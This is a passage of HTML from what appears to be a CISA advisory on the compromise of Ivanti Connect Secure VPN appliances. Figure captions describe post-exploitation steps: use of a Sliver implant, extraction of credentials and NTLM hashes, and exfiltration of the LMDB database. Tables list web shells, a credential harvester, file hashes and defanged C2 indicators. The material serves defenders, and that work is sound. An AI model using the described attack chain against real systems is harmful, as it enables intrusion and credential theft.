  1859.      &lt;figcaption class="c-figure__caption"&gt;&lt;em&gt;Figure 4: Leverage Sliver Implant to Run Perl Script for Retrieval of Cached Domain Administrator Credentials&lt;/em&gt;&lt;/figcaption&gt;
  1860.  &lt;/figure&gt;
  1861. &lt;p&gt;Below is a demonstration of the capacity for post exploitation exfiltration of base64 encoded cleartext credentials for active directory users and their associated NTLM password hashes:&lt;/p&gt;
  1862.  
  1863.  
  1864.  
  1865. &lt;figure class="c-figure c-figure--image u-align-center" role="group"&gt;
  1866.  
  1867.  &lt;div class="c-figure__media"&gt;    &lt;img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2024-02/Figure%205%20-%20Configuration%20of%20User%20Realm.png?itok=CJ-X8tOz" width="624" height="276" alt="Figure 5: Configuration of User Realm"&gt;
  1868.  
  1869.  
  1870.  
  1871. &lt;/div&gt;
  1872.      &lt;figcaption class="c-figure__caption"&gt;&lt;em&gt;Figure 5: Configuration of User Realm&lt;/em&gt;&lt;/figcaption&gt;
  1873.  &lt;/figure&gt;
  1874.  
  1875.  
  1876.  
  1877. &lt;figure class="c-figure c-figure--image u-align-center" role="group"&gt;
  1878.  
  1879.  &lt;div class="c-figure__media"&gt;    &lt;img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2024-02/Figure%206%20-%20User%20Realm%20Configuration%20to%20Domain.png?itok=AC292r6O" width="624" height="392" alt="Figure 6: User Realm Configuration to Domain"&gt;
  1880.  
  1881.  
  1882.  
  1883. &lt;/div&gt;
  1884.      &lt;figcaption class="c-figure__caption"&gt;&lt;em&gt;Figure 6: User Realm Configuration to Domain&lt;/em&gt;&lt;/figcaption&gt;
  1885.  &lt;/figure&gt;
  1886.  
  1887.  
  1888.  
  1889. &lt;figure class="c-figure c-figure--image u-align-center" role="group"&gt;
  1890.  
  1891.  &lt;div class="c-figure__media"&gt;    &lt;img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2024-02/Figure%207%20-%20Configuration%20of%20User%20Realm%20Mapping.png?itok=ixaOaPnV" width="624" height="281" alt="Figure 7: Configuration of User Realm Mapping"&gt;
  1892.  
  1893.  
  1894.  
  1895. &lt;/div&gt;
  1896.      &lt;figcaption class="c-figure__caption"&gt;&lt;em&gt;Figure 7: Configuration of User Realm Mapping&lt;/em&gt;&lt;/figcaption&gt;
  1897.  &lt;/figure&gt;
  1898.  
  1899.  
  1900.  
  1901. &lt;figure class="c-figure c-figure--image u-align-center" role="group"&gt;
  1902.  
  1903.  &lt;div class="c-figure__media"&gt;    &lt;img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2024-02/Figure%208%20-%20Login%20as%20%E2%80%9Cvpnuser1%E2%80%9D%20to%20Establish%20an%20Active%20Session.png?itok=N5hHlXve" width="1024" height="661" alt="Figure 8 - Login as “vpnuser1” to Establish an Active Session"&gt;
  1904.  
  1905.  
  1906.  
  1907. &lt;/div&gt;
  1908.      &lt;figcaption class="c-figure__caption"&gt;&lt;em&gt;Figure 8: Login as “vpnuser1” to Establish an Active Session&lt;/em&gt;&lt;/figcaption&gt;
  1909.  &lt;/figure&gt;
  1910.  
  1911.  
  1912.  
  1913. &lt;figure class="c-figure c-figure--image u-align-center" role="group"&gt;
  1914.  
  1915.  &lt;div class="c-figure__media"&gt;    &lt;img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2024-02/Figure%209%20-%20Using%20Sliver%20Implant%20as%20Shown%20in%20Figure%203.png?itok=z6JmYGkg" width="512" height="394" alt="Figure 9: Using Sliver Implant as Shown in Figure 3, Execute Pearl Script to Retrieve base64 Encoded Cleartext Password and NTLM Password Hash for Authenticated User"&gt;
  1916.  
  1917.  
  1918.  
  1919. &lt;/div&gt;
  1920.      &lt;figcaption class="c-figure__caption"&gt;&lt;em&gt;Figure 9: Using Sliver Implant as Shown in Figure 3, Execute Perl Script to Retrieve base64 Encoded Cleartext Password and NTLM Password Hash for Authenticated User&lt;/em&gt;&lt;/figcaption&gt;
  1921.  &lt;/figure&gt;
  1922.  
  1923.  
  1924.  
  1925. &lt;figure class="c-figure c-figure--image u-align-center" role="group"&gt;
  1926.  
  1927.  &lt;div class="c-figure__media"&gt;    &lt;img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2024-02/Figure%2010%20-%20Decode%20base64%20Encoded%20Blob%20to%20Display%20Users%20Plaintext%20Credentials.png?itok=6KVy46Jp" width="624" height="39" alt="Figure 10: Decode base64 Encoded Blob to Display Users Plaintext Credentials"&gt;
  1928.  
  1929.  
  1930.  
  1931. &lt;/div&gt;
  1932.      &lt;figcaption class="c-figure__caption"&gt;&lt;em&gt;Figure 10: Decode base64 Encoded Blob to Display User’s Plaintext Credentials&lt;/em&gt;&lt;/figcaption&gt;
  1933.  &lt;/figure&gt;
  1934.  
  1935.  
  1936.  
  1937. &lt;figure class="c-figure c-figure--image u-align-center" role="group"&gt;
  1938.  
  1939.  &lt;div class="c-figure__media"&gt;    &lt;img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2024-02/Figure%2011%20-%20Using%20Mimikatz%20Validate%20NTLM%20Password%20Hash%20Obtained%20in%20Figure%2010%20Matched%20Active%20Directory%20User%20Credential%20Hash.png?itok=pV_6lHkx" width="567" height="342" alt="Figure 11: Using Mimikatz Validate NTLM Password Hash Obtained in Figure 10 Matched Active Directory User Credential Hash"&gt;
  1940.  
  1941.  
  1942.  
  1943. &lt;/div&gt;
  1944.      &lt;figcaption class="c-figure__caption"&gt;&lt;em&gt;Figure 11: Using Mimikatz Validate NTLM Password Hash Obtained in Figure 10 Matches Active Directory User Credential Hash&lt;/em&gt;&lt;/figcaption&gt;
  1945.  &lt;/figure&gt;
  1946.  
  1947.  
  1948.  
  1949. &lt;figure class="c-figure c-figure--image u-align-center" role="group"&gt;
  1950.  
  1951.  &lt;div class="c-figure__media"&gt;    &lt;img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2024-02/Figure%2012%20-%20Inactive%20Sessions%20for%20%E2%80%9Cvpnuser2%E2%80%9D%20and%20%E2%80%9Cvpnuser3%E2%80%9D%20Appear%20in%20Server%20Logs.png?itok=3ga_ODot" width="624" height="287" alt="Figure 12: Inactive Sessions for “vpnuser2” and “vpnuser3” Appear in Server Logs"&gt;
  1952.  
  1953.  
  1954.  
  1955. &lt;/div&gt;
  1956.      &lt;figcaption class="c-figure__caption"&gt;&lt;em&gt;Figure 12: Inactive Sessions for “vpnuser2” and “vpnuser3” Appear in Server Logs&lt;/em&gt;&lt;/figcaption&gt;
  1957.  &lt;/figure&gt;
  1958.  
  1959.  
  1960.  
  1961. &lt;figure class="c-figure c-figure--image u-align-center" role="group"&gt;
  1962.  
  1963.  &lt;div class="c-figure__media"&gt;    &lt;img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2024-02/Figure%2013%20-%20Exfiltrate.png?itok=_lD9hyAI" width="469" height="365" alt="Figure 13: Exfiltrate “lmdb/data” and “lmdb-backup/data” data.mb Database Files Containing Credentials for Active and Inactive Sessions"&gt;
  1964.  
  1965.  
  1966.  
  1967. &lt;/div&gt;
  1968.      &lt;figcaption class="c-figure__caption"&gt;&lt;em&gt;Figure 13: Exfiltrate “lmdb/data” and “lmdb-backup/data” data.mb Database Files Containing Credentials for Active and Inactive Sessions&lt;/em&gt;&lt;/figcaption&gt;
  1969.  &lt;/figure&gt;
  1970.  
  1971.  
  1972.  
  1973. &lt;figure class="c-figure c-figure--image u-align-center" role="group"&gt;
  1974.  
  1975.  &lt;div class="c-figure__media"&gt;    &lt;img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2024-02/Figure%2014%20-%20Parse%20Database%20Files%20to%20Disclose%20base64%20Encoded%20Plaintext%20Credentials%20from%20LMDB%20Database%20Files.png?itok=WMgVXObH" width="464" height="365" alt="Figure 14: Parse Database Files to Disclose base64 Encoded Plaintext Credentials from LMDB Database Files"&gt;
  1976.  
  1977.  
  1978.  
  1979. &lt;/div&gt;
  1980.      &lt;figcaption class="c-figure__caption"&gt;&lt;em&gt;Figure 14: Parse Database Files to Disclose base64 Encoded Plaintext Credentials from LMDB Database Files&lt;/em&gt;&lt;/figcaption&gt;
  1981.  &lt;/figure&gt;
  1982.  
  1983.  
  1984.  
  1985. &lt;figure class="c-figure c-figure--image u-align-center" role="group"&gt;
  1986.  
  1987.  &lt;div class="c-figure__media"&gt;    &lt;img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2024-02/Figure%2015%20-%20Parse%20Database%20Files%20to%20Disclose%20NTLM%20Hashes%20from%20LMDB%20Database%20Files.png?itok=KxV4Vzxx" width="624" height="132" alt="Figure 15: Parse Database Files to Disclose NTLM Hashes from LMDB Database Files"&gt;
  1988.  
  1989.  
  1990.  
  1991. &lt;/div&gt;
  1992.      &lt;figcaption class="c-figure__caption"&gt;&lt;em&gt;Figure 15: Parse Database Files to Disclose NTLM Hashes from LMDB Database Files&lt;/em&gt;&lt;/figcaption&gt;
  1993.  &lt;/figure&gt;
  1994.  
  1995.  
  1996.  
  1997. &lt;figure class="c-figure c-figure--image u-align-center" role="group"&gt;
  1998.  
  1999.  &lt;div class="c-figure__media"&gt;    &lt;img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2024-02/Figure%2016%20-%20Parse%20Backup%20Database%20Files%20to%20Disclose%20Additional%20base64%20Encoded%20Plaintext%20Credentials.png?itok=iNM0lpq_" width="624" height="607" alt="Figure 16: Parse Backup Database Files to Disclose Additional base64 Encoded Plaintext Credentials"&gt;
  2000.  
  2001.  
  2002.  
  2003. &lt;/div&gt;
  2004.      &lt;figcaption class="c-figure__caption"&gt;&lt;em&gt;Figure 16: Parse Backup Database Files to Disclose Additional base64 Encoded Plaintext Credentials from LMDB-Backup Database Files&lt;/em&gt;&lt;/figcaption&gt;
  2005.  &lt;/figure&gt;
  2006.  
  2007.  
  2008.  
  2009. &lt;figure class="c-figure c-figure--image u-align-center" role="group"&gt;
  2010.  
  2011.  &lt;div class="c-figure__media"&gt;    &lt;img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2024-02/Figure%2017%20-%20Decode%20Credentials%20from%20LMDB-Backup%20Database%20Files.png?itok=dDHAAxh2" width="624" height="39" alt="Figure 17: Decode Credentials from LMDB-Backup Database Files"&gt;
  2012.  
  2013.  
  2014.  
  2015. &lt;/div&gt;
  2016.      &lt;figcaption class="c-figure__caption"&gt;&lt;em&gt;Figure 17: Decode Credentials from LMDB-Backup Database Files&lt;/em&gt;&lt;/figcaption&gt;
  2017.  &lt;/figure&gt;
  2018.  
  2019.  
  2020.  
  2021. &lt;figure class="c-figure c-figure--image u-align-center" role="group"&gt;
  2022.  
  2023.  &lt;div class="c-figure__media"&gt;    &lt;img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2024-02/Figure%2018%20-%20Parse%20Database%20Files%20to%20Disclose%20NTLM%20Hashes.png?itok=gdcYeQM8" width="624" height="131" alt="Figure 18: Parse Database Files to Disclose NTLM Hashes for Additional Users from LMDB-Backup Database Files"&gt;
  2024.  
  2025.  
  2026.  
  2027. &lt;/div&gt;
  2028.      &lt;figcaption class="c-figure__caption"&gt;&lt;em&gt;Figure 18: Parse Database Files to Disclose NTLM Hashes for Additional Users from LMDB-Backup Database Files&lt;/em&gt;&lt;/figcaption&gt;
  2029.  &lt;/figure&gt;
  2030. &lt;h3&gt;&lt;strong&gt;APPENDIX B: INDICATORS OF COMPROMISE&lt;/strong&gt;&lt;/h3&gt;
  2031. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  2032. &lt;caption&gt;&lt;em&gt;Table 1: Ivanti Connect Secure VPN Indicators of Compromise&lt;/em&gt;&lt;/caption&gt;
  2033. &lt;thead&gt;
  2034. &lt;tr&gt;
  2035. &lt;th role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Filename&lt;/strong&gt;&lt;/th&gt;
  2036. &lt;th role="columnheader"&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/th&gt;
  2037. &lt;th role="columnheader"&gt;&lt;strong&gt;Purpose&lt;/strong&gt;&lt;/th&gt;
  2038. &lt;/tr&gt;
  2039. &lt;/thead&gt;
  2040. &lt;tbody&gt;
  2041. &lt;tr&gt;
  2042. &lt;td&gt;/home/perl/DSLogConfig.pm&lt;/td&gt;
  2043. &lt;td&gt;Modified Perl module.&lt;/td&gt;
  2044. &lt;td&gt;Designed to execute &lt;code&gt;sessionserver.pl&lt;/code&gt;.&lt;/td&gt;
  2045. &lt;/tr&gt;
  2046. &lt;tr&gt;
  2047. &lt;td&gt;/usr/bin/a.sh&lt;/td&gt;
  2048. &lt;td&gt;gcore.in core dump script.&lt;/td&gt;
  2049. &lt;td&gt;&amp;nbsp;&lt;/td&gt;
  2050. &lt;/tr&gt;
  2051. &lt;tr&gt;
  2052. &lt;td&gt;/bin/netmon&lt;/td&gt;
  2053. &lt;td&gt;Sliver binary.&lt;/td&gt;
  2054. &lt;td&gt;&amp;nbsp;&lt;/td&gt;
  2055. &lt;/tr&gt;
  2056. &lt;tr&gt;
  2057. &lt;td&gt;/home/venv3/lib/python3.6/site-packages/*.egg&lt;/td&gt;
  2058. &lt;td&gt;Python package containing WIREFIRE among other files.&lt;/td&gt;
  2059. &lt;td&gt;&amp;nbsp;&lt;/td&gt;
  2060. &lt;/tr&gt;
  2061. &lt;tr&gt;
  2062. &lt;td&gt;/home/etc/sql/dsserver/sessionserver.pl&lt;/td&gt;
  2063. &lt;td&gt;Perl script to remount the filesystem with read/write access.&lt;/td&gt;
  2064. &lt;td&gt;Make &lt;strong&gt;sessionserver.sh &lt;/strong&gt;executable, execute it, then restore original mount settings.&lt;/td&gt;
  2065. &lt;/tr&gt;
  2066. &lt;tr&gt;
  2067. &lt;td&gt;/home/etc/sql/dsserver/sessionserver.sh&lt;/td&gt;
  2068. &lt;td&gt;Script executed by &lt;code&gt;sessionserver.pl&lt;/code&gt;.&lt;/td&gt;
  2069. &lt;td&gt;Uses regular expressions to modify &lt;code&gt;compcheckresult.cgi&lt;/code&gt; to insert a web shell into it; also creates a series of entries into files associated with the In-build Integrity Checker Tool to evade detection when periodic scans are run.&lt;/td&gt;
  2070. &lt;/tr&gt;
  2071. &lt;tr&gt;
  2072. &lt;td&gt;/home/webserver/htdocs/dana-na/auth/compcheckresult.cgi&lt;/td&gt;
  2073. &lt;td&gt;Modified legitimate component of the ICS VPN appliance, with new Perl module imports added and a one-liner to execute commands based on request parameters.&lt;/td&gt;
  2074. &lt;td&gt;Allows remote code execution over the Internet if the attacker can craft a request with the correct parameters.&lt;/td&gt;
  2075. &lt;/tr&gt;
  2076. &lt;tr&gt;
  2077. &lt;td&gt;/home/webserver/htdocs/dana-na/auth/lastauthserverused.js&lt;/td&gt;
  2078. &lt;td&gt;Modified legitimate JavaScript component loaded by user login page of the Web SSL VPN component of Ivanti Connect Secure.&lt;/td&gt;
  2079. &lt;td&gt;Modified to harvest entered credentials and send them to a remote URL on an attacker-controlled domain.&lt;/td&gt;
  2080. &lt;/tr&gt;
  2081. &lt;/tbody&gt;
  2082. &lt;/table&gt;
  2083. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  2084. &lt;caption&gt;&lt;em&gt;Table 2: Ivanti Connect Secure VPN Indicators of Compromise&lt;/em&gt;&lt;/caption&gt;
  2085. &lt;thead&gt;
  2086. &lt;tr&gt;
  2087. &lt;th role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Value&lt;/strong&gt;&lt;/th&gt;
  2088. &lt;th role="columnheader"&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;/th&gt;
  2089. &lt;th role="columnheader"&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/th&gt;
  2090. &lt;/tr&gt;
  2091. &lt;/thead&gt;
  2092. &lt;tbody&gt;
  2093. &lt;tr&gt;
  2094. &lt;td&gt;88.119.169[.]227&lt;/td&gt;
  2095. &lt;td&gt;IP Address&lt;/td&gt;
  2096. &lt;td&gt;&amp;nbsp;&lt;/td&gt;
  2097. &lt;/tr&gt;
  2098. &lt;tr&gt;
  2099. &lt;td&gt;103.13.28[.]40&lt;/td&gt;
  2100. &lt;td&gt;IP Address&lt;/td&gt;
  2101. &lt;td&gt;&amp;nbsp;&lt;/td&gt;
  2102. &lt;/tr&gt;
  2103. &lt;tr&gt;
  2104. &lt;td&gt;46.8.68[.]100&lt;/td&gt;
  2105. &lt;td&gt;IPv4&lt;/td&gt;
  2106. &lt;td&gt;&amp;nbsp;&lt;/td&gt;
  2107. &lt;/tr&gt;
  2108. &lt;tr&gt;
  2109. &lt;td&gt;206.189.208[.]156&lt;/td&gt;
  2110. &lt;td&gt;IP Address&lt;/td&gt;
  2111. &lt;td&gt;DigitalOcean IP address tied to UTA0178.&lt;/td&gt;
  2112. &lt;/tr&gt;
  2113. &lt;tr&gt;
  2114. &lt;td&gt;gpoaccess[.]com&lt;/td&gt;
  2115. &lt;td&gt;Hostname&lt;/td&gt;
  2116. &lt;td&gt;Suspected UTA0178 domain discovered via domain registration patterns.&lt;/td&gt;
  2117. &lt;/tr&gt;
  2118. &lt;tr&gt;
  2119. &lt;td&gt;webb-institute[.]com&lt;/td&gt;
  2120. &lt;td&gt;Hostname&lt;/td&gt;
  2121. &lt;td&gt;Suspected UTA0178 domain discovered via domain registration patterns.&lt;/td&gt;
  2122. &lt;/tr&gt;
  2123. &lt;tr&gt;
  2124. &lt;td&gt;symantke[.]com&lt;/td&gt;
  2125. &lt;td&gt;Hostname&lt;/td&gt;
  2126. &lt;td&gt;UTA0178 domain used to collect credentials from compromised devices.&lt;/td&gt;
  2127. &lt;/tr&gt;
  2128. &lt;tr&gt;
  2129. &lt;td&gt;75.145.243[.]85&lt;/td&gt;
  2130. &lt;td&gt;IP Address&lt;/td&gt;
  2131. &lt;td&gt;UTA0178 IP address observed interacting with compromised device.&lt;/td&gt;
  2132. &lt;/tr&gt;
  2133. &lt;tr&gt;
  2134. &lt;td&gt;47.207.9[.]89&lt;/td&gt;
  2135. &lt;td&gt;IP Address&lt;/td&gt;
  2136. &lt;td&gt;UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.&lt;/td&gt;
  2137. &lt;/tr&gt;
  2138. &lt;tr&gt;
  2139. &lt;td&gt;98.160.48[.]170&lt;/td&gt;
  2140. &lt;td&gt;IP Address&lt;/td&gt;
  2141. &lt;td&gt;UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.&lt;/td&gt;
  2142. &lt;/tr&gt;
  2143. &lt;tr&gt;
  2144. &lt;td&gt;173.220.106[.]166&lt;/td&gt;
  2145. &lt;td&gt;IP Address&lt;/td&gt;
  2146. &lt;td&gt;UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.&lt;/td&gt;
  2147. &lt;/tr&gt;
  2148. &lt;tr&gt;
  2149. &lt;td&gt;73.128.178[.]221&lt;/td&gt;
  2150. &lt;td&gt;IP Address&lt;/td&gt;
  2151. &lt;td&gt;UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.&lt;/td&gt;
  2152. &lt;/tr&gt;
  2153. &lt;tr&gt;
  2154. &lt;td&gt;50.243.177[.]161&lt;/td&gt;
  2155. &lt;td&gt;IP Address&lt;/td&gt;
  2156. &lt;td&gt;UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.&lt;/td&gt;
  2157. &lt;/tr&gt;
  2158. &lt;tr&gt;
  2159. &lt;td&gt;50.213.208[.]89&lt;/td&gt;
  2160. &lt;td&gt;IP Address&lt;/td&gt;
  2161. &lt;td&gt;UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.&lt;/td&gt;
  2162. &lt;/tr&gt;
  2163. &lt;tr&gt;
  2164. &lt;td&gt;64.24.179[.]210&lt;/td&gt;
  2165. &lt;td&gt;IP Address&lt;/td&gt;
  2166. &lt;td&gt;UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.&lt;/td&gt;
  2167. &lt;/tr&gt;
  2168. &lt;tr&gt;
  2169. &lt;td&gt;75.145.224[.]109&lt;/td&gt;
  2170. &lt;td&gt;IP Address&lt;/td&gt;
  2171. &lt;td&gt;
  2172. &lt;p&gt;UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.&lt;/p&gt;
  2173. &lt;p&gt;&amp;nbsp;&lt;/p&gt;
  2174. &lt;/td&gt;
  2175. &lt;/tr&gt;
  2176. &lt;tr&gt;
  2177. &lt;td&gt;50.215.39[.]49&lt;/td&gt;
  2178. &lt;td&gt;IP Address&lt;/td&gt;
  2179. &lt;td&gt;UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.&lt;/td&gt;
  2180. &lt;/tr&gt;
  2181. &lt;tr&gt;
  2182. &lt;td&gt;71.127.149[.]194&lt;/td&gt;
  2183. &lt;td&gt;&amp;nbsp;&lt;/td&gt;
  2184. &lt;td&gt;
  2185. &lt;p&gt;UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.&lt;/p&gt;
  2186. &lt;p&gt;&amp;nbsp;&lt;/p&gt;
  2187. &lt;/td&gt;
  2188. &lt;/tr&gt;
  2189. &lt;tr&gt;
  2190. &lt;td&gt;173.53.43[.]7&lt;/td&gt;
  2191. &lt;td&gt;&amp;nbsp;&lt;/td&gt;
  2192. &lt;td&gt;UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.&lt;/td&gt;
  2193. &lt;/tr&gt;
  2194. &lt;/tbody&gt;
  2195. &lt;/table&gt;
  2196. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  2197. &lt;caption&gt;&lt;em&gt;Table 3: Host-Based Indicators (HBIs) Indicators of Compromise&lt;/em&gt;&lt;/caption&gt;
  2198. &lt;thead&gt;
  2199. &lt;tr&gt;
  2200. &lt;th role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Filename&lt;/strong&gt;&lt;/th&gt;
  2201. &lt;th role="columnheader"&gt;&lt;strong&gt;Hash Value&lt;/strong&gt;&lt;/th&gt;
  2202. &lt;th role="columnheader"&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/th&gt;
  2203. &lt;/tr&gt;
  2204. &lt;/thead&gt;
  2205. &lt;tbody&gt;
  2206. &lt;tr&gt;
  2207. &lt;td&gt;Cav-0.1-py3.6.egg&lt;/td&gt;
  2208. &lt;td&gt;ed4b855941d6d7e07aacf016a2402c4c870876a050a4a547af194f5a9b47945f&lt;/td&gt;
  2209. &lt;td&gt;WIREFIRE web shell&lt;/td&gt;
  2210. &lt;/tr&gt;
  2211. &lt;tr&gt;
  2212. &lt;td&gt;Health.py&lt;/td&gt;
  2213. &lt;td&gt;3045f5b3d355a9ab26ab6f44cc831a83&lt;/td&gt;
  2214. &lt;td&gt;CHAINLINE web shell&lt;/td&gt;
  2215. &lt;/tr&gt;
  2216. &lt;tr&gt;
  2217. &lt;td&gt;compcheckresult.cgi&lt;/td&gt;
  2218. &lt;td&gt;3d97f55a03ceb4f71671aa2ecf5b24e9&lt;/td&gt;
  2219. &lt;td&gt;CHAINLINE web shell&lt;/td&gt;
  2220. &lt;/tr&gt;
  2221. &lt;tr&gt;
  2222. &lt;td&gt;lastauthserverused.js&lt;/td&gt;
  2223. &lt;td&gt;2ec505088b942c234f39a37188e80d7a&lt;/td&gt;
  2224. &lt;td&gt;LIGHTWIRE web shell&lt;/td&gt;
  2225. &lt;/tr&gt;
  2226. &lt;tr&gt;
  2227. &lt;td&gt;lastauthserverused.js&lt;/td&gt;
  2228. &lt;td&gt;8eb042da6ba683ef1bae460af103cc44&lt;/td&gt;
  2229. &lt;td&gt;WARPWIRE credential harvester variant&lt;/td&gt;
  2230. &lt;/tr&gt;
  2231. &lt;tr&gt;
  2232. &lt;td&gt;lastauthserverused.js&lt;/td&gt;
  2233. &lt;td&gt;a739bd4c2b9f3679f43579711448786f&lt;/td&gt;
  2234. &lt;td&gt;WARPWIRE credential harvester variant&lt;/td&gt;
  2235. &lt;/tr&gt;
  2236. &lt;tr&gt;
  2237. &lt;td&gt;lastauthserverused.js&lt;/td&gt;
  2238. &lt;td&gt;a81813f70151a022ea1065b7f4d6b5ab&lt;/td&gt;
  2239. &lt;td&gt;WARPWIRE credential harvester variant&lt;/td&gt;
  2240. &lt;/tr&gt;
  2241. &lt;tr&gt;
  2242. &lt;td&gt;lastauthserverused.js&lt;/td&gt;
  2243. &lt;td&gt;d0c7a334a4d9dcd3c6335ae13bee59ea&lt;/td&gt;
  2244. &lt;td&gt;WARPWIRE credential harvester variant&lt;/td&gt;
  2245. &lt;/tr&gt;
  2246. &lt;tr&gt;
  2247. &lt;td&gt;lastauthserverused.js&lt;/td&gt;
  2248. &lt;td&gt;e8489983d73ed30a4240a14b1f161254&lt;/td&gt;
  2249. &lt;td&gt;WARPWIRE credential harvester variant&lt;/td&gt;
  2250. &lt;/tr&gt;
  2251. &lt;tr&gt;
  2252. &lt;td&gt;logo.gif&lt;/td&gt;
  2253. &lt;td&gt;N/A — varies&lt;/td&gt;
  2254. &lt;td&gt;Configuration and cache dump or CAV web server log exfiltration&lt;/td&gt;
  2255. &lt;/tr&gt;
  2256. &lt;tr&gt;
  2257. &lt;td&gt;login.gif&lt;/td&gt;
  2258. &lt;td&gt;N/A — varies&lt;/td&gt;
  2259. &lt;td&gt;Configuration and cache dump&lt;/td&gt;
  2260. &lt;/tr&gt;
  2261. &lt;tr&gt;
  2262. &lt;td&gt;[a-fA-f0-9]{10\.css&lt;/td&gt;
  2263. &lt;td&gt;N/A — varies&lt;/td&gt;
  2264. &lt;td&gt;Configuration and cache dump&lt;/td&gt;
  2265. &lt;/tr&gt;
  2266. &lt;tr&gt;
  2267. &lt;td&gt;visits.py&lt;/td&gt;
  2268. &lt;td&gt;N/A — varies&lt;/td&gt;
  2269. &lt;td&gt;WIREFIRE web shell&lt;/td&gt;
  2270. &lt;/tr&gt;
  2271. &lt;/tbody&gt;
  2272. &lt;/table&gt;
  2273. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  2274. &lt;caption&gt;&lt;em&gt;Table 4: Host-Based Indicators (HBIs) Indicators of Compromise&lt;/em&gt;&lt;/caption&gt;
  2275. &lt;thead&gt;
  2276. &lt;tr&gt;
  2277. &lt;th role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Network Indicator&lt;/strong&gt;&lt;/th&gt;
  2278. &lt;th role="columnheader"&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;/th&gt;
  2279. &lt;th role="columnheader"&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/th&gt;
  2280. &lt;/tr&gt;
  2281. &lt;/thead&gt;
  2282. &lt;tbody&gt;
  2283. &lt;tr&gt;
  2284. &lt;td&gt;symantke[.]com&lt;/td&gt;
  2285. &lt;td&gt;Domain&lt;/td&gt;
  2286. &lt;td&gt;WARPWIRE C2 server&lt;/td&gt;
  2287. &lt;/tr&gt;
  2288. &lt;tr&gt;
  2289. &lt;td&gt;miltonhouse[.]nl&lt;/td&gt;
  2290. &lt;td&gt;Domain&lt;/td&gt;
  2291. &lt;td&gt;WARPWIRE variant C2 server&lt;/td&gt;
  2292. &lt;/tr&gt;
  2293. &lt;tr&gt;
  2294. &lt;td&gt;entraide-internationale[.]fr&lt;/td&gt;
  2295. &lt;td&gt;Domain&lt;/td&gt;
  2296. &lt;td&gt;WARPWIRE variant C2 server&lt;/td&gt;
  2297. &lt;/tr&gt;
  2298. &lt;tr&gt;
  2299. &lt;td&gt;api.d-n-s[.]name&lt;/td&gt;
  2300. &lt;td&gt;Domain&lt;/td&gt;
  2301. &lt;td&gt;WARPWIRE variant C2 server&lt;/td&gt;
  2302. &lt;/tr&gt;
  2303. &lt;tr&gt;
  2304. &lt;td&gt;cpanel.netbar[.]org&lt;/td&gt;
  2305. &lt;td&gt;Domain&lt;/td&gt;
  2306. &lt;td&gt;WARPWIRE variant C2 server&lt;/td&gt;
  2307. &lt;/tr&gt;
  2308. &lt;tr&gt;
  2309. &lt;td&gt;clickcom[.]click&lt;/td&gt;
  2310. &lt;td&gt;Domain&lt;/td&gt;
  2311. &lt;td&gt;WARPWIRE variant C2 server&lt;/td&gt;
  2312. &lt;/tr&gt;
  2313. &lt;tr&gt;
  2314. &lt;td&gt;clicko[.]click&lt;/td&gt;
  2315. &lt;td&gt;Domain&lt;/td&gt;
  2316. &lt;td&gt;WARPWIRE variant C2 server&lt;/td&gt;
  2317. &lt;/tr&gt;
  2318. &lt;tr&gt;
  2319. &lt;td&gt;duorhytm[.]fun&lt;/td&gt;
  2320. &lt;td&gt;Domain&lt;/td&gt;
  2321. &lt;td&gt;WARPWIRE variant C2 server&lt;/td&gt;
  2322. &lt;/tr&gt;
  2323. &lt;tr&gt;
  2324. &lt;td&gt;line-api[.]com&lt;/td&gt;
  2325. &lt;td&gt;Domain&lt;/td&gt;
  2326. &lt;td&gt;WARPWIRE variant C2 server&lt;/td&gt;
  2327. &lt;/tr&gt;
  2328. &lt;tr&gt;
  2329. &lt;td&gt;areekaweb[.]com&lt;/td&gt;
  2330. &lt;td&gt;Domain&lt;/td&gt;
  2331. &lt;td&gt;WARPWIRE variant C2 server&lt;/td&gt;
  2332. &lt;/tr&gt;
  2333. &lt;tr&gt;
  2334. &lt;td&gt;ehangmun[.]com&lt;/td&gt;
  2335. &lt;td&gt;Domain&lt;/td&gt;
  2336. &lt;td&gt;WARPWIRE variant C2 server&lt;/td&gt;
